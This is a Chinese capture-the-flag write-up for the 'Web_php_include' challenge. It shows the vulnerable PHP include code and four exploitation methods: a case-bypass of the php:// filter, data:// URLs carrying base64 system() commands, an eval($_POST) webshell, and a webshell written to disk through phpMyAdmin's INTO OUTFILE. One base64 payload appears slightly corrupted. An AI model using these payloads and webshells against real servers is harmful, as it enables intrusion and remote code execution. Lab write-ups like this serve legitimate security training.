攻防世界-Web_php_include (考察的是文件包含)
打開頁面是這樣一段代碼從代碼中得知page中帶有php://的都會被替換成空
str_replace()以其他字符替換字符串中的一些字符(區分大小寫)
strstr() 查找字符串首次出現的位置。返回字符串剩余部分
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>
分析代碼可知程序過濾掉了page=參數傳入php://
第一種方法(大小寫繞過)
大小寫繞過由於strstr()這個函數是區分大小寫的所以我們可以轉換成大小寫用PHP://input
Post傳輸惡意代碼

第二種方法(data://偽協議執行命令利用)
既然過濾了php://的偽協議 我們可以使用其他協議來做這里使用data://偽協議
data://偽協議
php5.2.0起,數據流封裝器開始有效,主要用於數據流的讀取。如果傳入的數據是PHP代碼,就會執行代碼
使用方法:data://text/plain;base64,xxxx(base64編碼后的數據)
<?php system("dir")?> base64編碼后使用
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b (注意編碼后的+號要URL編碼)
<?php system("cat fl4gisisish3r3.php")?> base64編碼后使用
查看源碼得到flag

第三種方法(data://偽協議傳木馬)
<?php eval($_POST[xiaohua]); ?> base64加密后拼接
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
菜刀連接即可:
第四種方法(數據庫寫入馬)
御劍掃描獲得phpmyadmin root 密碼空 進入
數據庫執行這條命令查看secure_file_priv是否為空,為空則可以寫數據 如果是null不能寫
SHOW VARIABLES LIKE "secure_file_priv"
linux默認tmp是可寫目錄 試試寫入一句話馬 菜刀連接
SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'
參考學習: https://www.cnblogs.com/Zhu013/p/11550463.html
